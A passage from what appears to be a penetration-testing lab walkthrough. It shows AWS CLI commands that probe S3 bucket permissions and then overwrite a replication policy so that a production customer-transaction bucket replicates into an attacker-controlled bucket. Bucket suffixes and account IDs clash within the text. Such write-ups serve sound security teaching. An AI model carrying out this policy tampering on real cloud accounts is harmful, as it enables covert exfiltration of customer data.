</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AttachmentCount&#34;</span>: <span style="color:#ae81ff">1</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;IsAttachable&#34;</span>: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:33&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:33&#34;</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;securitySecretAccess&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPA2MIMMWOR6CFXCGRJL&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:policy/securitySecretAccess&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v1&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AttachmentCount&#34;</span>: <span style="color:#ae81ff">1</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;IsAttachable&#34;</span>: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:31&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:31&#34;</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;s3_inventory_policy&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPA2MIMMWORWOPMFOAMO&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:policy/s3_inventory_policy&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v1&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AttachmentCount&#34;</span>: <span style="color:#ae81ff">1</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;IsAttachable&#34;</span>: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:33&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:33&#34;</span>
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;s3_replication_policy&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPA2MIMMWORZNEFHA2KG&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::713527440291:policy/s3_replication_policy&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v1&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;AttachmentCount&#34;</span>: <span style="color:#ae81ff">1</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;IsAttachable&#34;</span>: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:34&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;Tue, 18 Jun 2024 03:00:34&#34;</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Firstly, lets look at what S3 buckets are available with our current credentials.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3 ls | awk <span style="color:#e6db74">&#39;{print $3}&#39;</span>
</span></span><span style="display:flex;"><span>cust-txn-prod-4c8691723a37
</span></span><span style="display:flex;"><span>cust-txn-replica-4c8691723a37
</span></span><span style="display:flex;"><span>s3-secure-backup-4c8691723a37
</span></span></code></pre></div><p>Whilst, there are only 3 buckets and we could do this manually, we will write a quick bash one-liner to go through these and see if there is any content</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ <span style="color:#66d9ef">for</span> i in <span style="color:#66d9ef">$(</span>aws --profile pentester s3 ls | awk <span style="color:#e6db74">&#39;{print $3}&#39;</span><span style="color:#66d9ef">)</span>; <span style="color:#66d9ef">do</span> echo <span style="color:#e6db74">&#34;Bucket: </span>$i<span style="color:#e6db74">&#34;</span> <span style="color:#f92672">&amp;&amp;</span> aws --profile pentester s3 ls s3://$i ; <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Bucket: cust-txn-prod-4c8691723a37
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>An error occurred <span style="color:#f92672">(</span>AccessDenied<span style="color:#f92672">)</span> when calling the ListObjectsV2 operation: Access Denied
</span></span><span style="display:flex;"><span>Bucket: cust-txn-replica-4c8691723a37
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>An error occurred <span style="color:#f92672">(</span>AccessDenied<span style="color:#f92672">)</span> when calling the ListObjectsV2 operation: Access Denied
</span></span><span style="display:flex;"><span>Bucket: s3-secure-backup-4c8691723a37
</span></span></code></pre></div><blockquote>
<p>You will note that we didn&rsquo;t get an access denied on the bucket <code>s3-secure-backup-ca699a35556d</code> which means that we have at least list permissions.</p>
</blockquote>
<p>We will see what other permissions we have by trying to upload and then download a file.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3 cp message.txt s3://s3-secure-backup-ca699a35556d
</span></span><span style="display:flex;"><span>upload: ./message.txt to s3://s3-secure-backup-ca699a35556d/message.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester s3 ls s3://s3-secure-backup-ca699a35556d
</span></span><span style="display:flex;"><span>2024-06-18 12:32:52         <span style="color:#ae81ff">19</span> message.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester s3 cp s3://s3-secure-backup-ca699a35556d/message.txt message1.txt
</span></span><span style="display:flex;"><span>download: s3://s3-secure-backup-ca699a35556d/message.txt to ./message1.txt
</span></span></code></pre></div><p>We have been successful both uploading and downloading from this bucket and in summary we have ListBucket, PutObject and GetObject permissions. Let&rsquo;s test the other buckets.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ <span style="color:#66d9ef">for</span> i in <span style="color:#66d9ef">$(</span>aws --profile pentester s3 ls | awk <span style="color:#e6db74">&#39;{print $3}&#39;</span> | grep -ve <span style="color:#e6db74">&#39;^s3&#39;</span><span style="color:#66d9ef">)</span>; <span style="color:#66d9ef">do</span> echo <span style="color:#e6db74">&#34;Bucket: </span>$i<span style="color:#e6db74">&#34;</span> <span style="color:#f92672">&amp;&amp;</span> aws --profile pentester s3 cp message.txt s3://$i ; <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>Bucket: cust-txn-prod-4c8691723a37
</span></span><span style="display:flex;"><span>upload: ./message.txt to s3://cust-txn-prod-4c8691723a37/message.txt
</span></span><span style="display:flex;"><span>Bucket: cust-txn-replica-4c8691723a37
</span></span><span style="display:flex;"><span>upload: ./message.txt to s3://cust-txn-replica-4c8691723a37/message.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ <span style="color:#66d9ef">for</span> i in <span style="color:#66d9ef">$(</span>aws --profile pentester s3 ls | awk <span style="color:#e6db74">&#39;{print $3}&#39;</span> | grep -ve <span style="color:#e6db74">&#39;^s3&#39;</span><span style="color:#66d9ef">)</span>; <span style="color:#66d9ef">do</span> echo <span style="color:#e6db74">&#34;Bucket: </span>$i<span style="color:#e6db74">&#34;</span> <span style="color:#f92672">&amp;&amp;</span> aws --profile pentester s3 cp s3://$i/message.txt $i ; <span style="color:#66d9ef">done</span>
</span></span><span style="display:flex;"><span>Bucket: cust-txn-prod-4c8691723a37
</span></span><span style="display:flex;"><span>fatal error: An error occurred <span style="color:#f92672">(</span>403<span style="color:#f92672">)</span> when calling the HeadObject operation: Forbidden
</span></span><span style="display:flex;"><span>Bucket: cust-txn-replica-4c8691723a37
</span></span><span style="display:flex;"><span>download: s3://cust-txn-replica-4c8691723a37/message.txt to ./cust-txn-replica-4c8691723a37
</span></span></code></pre></div><p>The following is a summary of our permissions on all the buckets.</p>
<table>
  <thead>
      <tr>
          <th>Bucket</th>
          <th>ListObject</th>
          <th>PutObject</th>
          <th>GetObject</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>cust-txn-prod-ca699a35556d</td>
          <td></td>
          <td>x</td>
          <td></td>
      </tr>
      <tr>
          <td>cust-txn-replica-ca699a35556d</td>
          <td></td>
          <td>x</td>
          <td>x</td>
      </tr>
      <tr>
          <td>s3-secure-backup-ca699a35556d</td>
          <td>x</td>
          <td>x</td>
          <td>x</td>
      </tr>
  </tbody>
</table>
<p>You will recall earlier that when we ran Pacu that there was an &ldquo;s3_batch_operations_policy&rdquo;.  Batch operations are a &ldquo;managed solution for performing storage actions like copying and tagging objects at scale, whether for one-time tasks or for recurring, batch workloads.&rdquo;</p>
<p>To get a better understanding of the configuration we query the bucket and we can see that the bucket is configured for cross-region replication which is managed by the IAM role <code>s3_replication_role_for_source_bucket</code>.  It replicates all objects as notated by <code>Prefix: &quot;&quot;</code> to the replica bucket with a time of 15 minutes with replication metrics enabled and deletion marker disabled.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ReplicationConfiguration&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Role&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Rules&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;ID&#34;</span>: <span style="color:#e6db74">&#34;replicateAll&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Priority&#34;</span>: 1,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Filter&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Prefix&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Destination&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Bucket&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-replica-4c8691723a37&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;StorageClass&#34;</span>: <span style="color:#e6db74">&#34;STANDARD&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;ReplicationTime&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Time&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Minutes&#34;</span>: <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Metrics&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;EventThreshold&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Minutes&#34;</span>: <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;DeleteMarkerReplication&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Disabled&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>This opens up a couple of possible attack vendors based on the permissions that we have:</p>
<p><strong>Attack 1 - Use Replication Policies to exfiltrate new S3 objects</strong></p>
<p>We get the details of the S3 Replication Policy and then look at the current configuration</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Policy&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;s3_replication_policy&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPAUSHNW2N3VYTCZB4ZP&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::314031133559:policy/s3_replication_policy&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v1&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AttachmentCount&#34;</span>: 1,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PermissionsBoundaryUsageCount&#34;</span>: 0,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsAttachable&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T01:13:40+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T01:13:40+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy --version-id v1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PolicyVersion&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Document&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Statement&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:ListBucket&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:GetReplicationConfiguration&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:GetObjectVersionTagging&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:GetObjectVersionForReplication&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:GetObjectVersionAcl&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:GetObjectRetention&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:GetObjectLegalHold&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-replica-4c8691723a37/*&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-replica-4c8691723a37&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37/*&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:ReplicateTags&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:ReplicateObject&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:ReplicateDelete&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:ObjectOwnerOverrideToBucketOwner&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-replica-4c8691723a37/*&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37/*&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;v1&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsDefaultVersion&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T01:13:40+00:00&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We shall use the following malicious policy document in which we change the Resource to remove the replica bucket as the target and add the s3-secure-backup bucket which we have full control over.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>      {
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Action&#34;</span>: [
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:ListBucket&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:GetReplicationConfiguration&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:GetObjectVersionTagging&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:GetObjectVersionForReplication&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:GetObjectVersionAcl&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:GetObjectRetention&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:GetObjectLegalHold&#34;</span>
</span></span><span style="display:flex;"><span>          ],
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Resource&#34;</span>: [
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-replica-4c8691723a37/*&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-replica-4c8691723a37&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37/*&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37&#34;</span>
</span></span><span style="display:flex;"><span>          ]
</span></span><span style="display:flex;"><span>      },
</span></span><span style="display:flex;"><span>      {
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Action&#34;</span>: [
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:ReplicateTags&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:ReplicateObject&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:ReplicateDelete&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:ObjectOwnerOverrideToBucketOwner&#34;</span>
</span></span><span style="display:flex;"><span>          ],
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Resource&#34;</span>: [
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;arn:aws:s3:::s3-secure-backup-4c8691723a37/*&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37/*&#34;</span>
</span></span><span style="display:flex;"><span>          ]
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We then upload this policy document</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester iam create-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy --policy-document file://s3_replication_policy.json --set-as-default
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PolicyVersion&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;v2&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsDefaultVersion&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T02:25:04+00:00&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Next we have to see if we are able to modify the Replication Rules and we will first try to change the Name of the rule.  The following is the modified JSON file in which we have just modified the ID value.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Role&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Rules&#34;</span>: [
</span></span><span style="display:flex;"><span>      {
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;ID&#34;</span>: <span style="color:#e6db74">&#34;replicateAll-test&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Priority&#34;</span>: <span style="color:#ae81ff">1</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Filter&#34;</span>: {
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;Prefix&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>          },
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Destination&#34;</span>: {
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;Bucket&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-replica-4c8691723a37&#34;</span>,
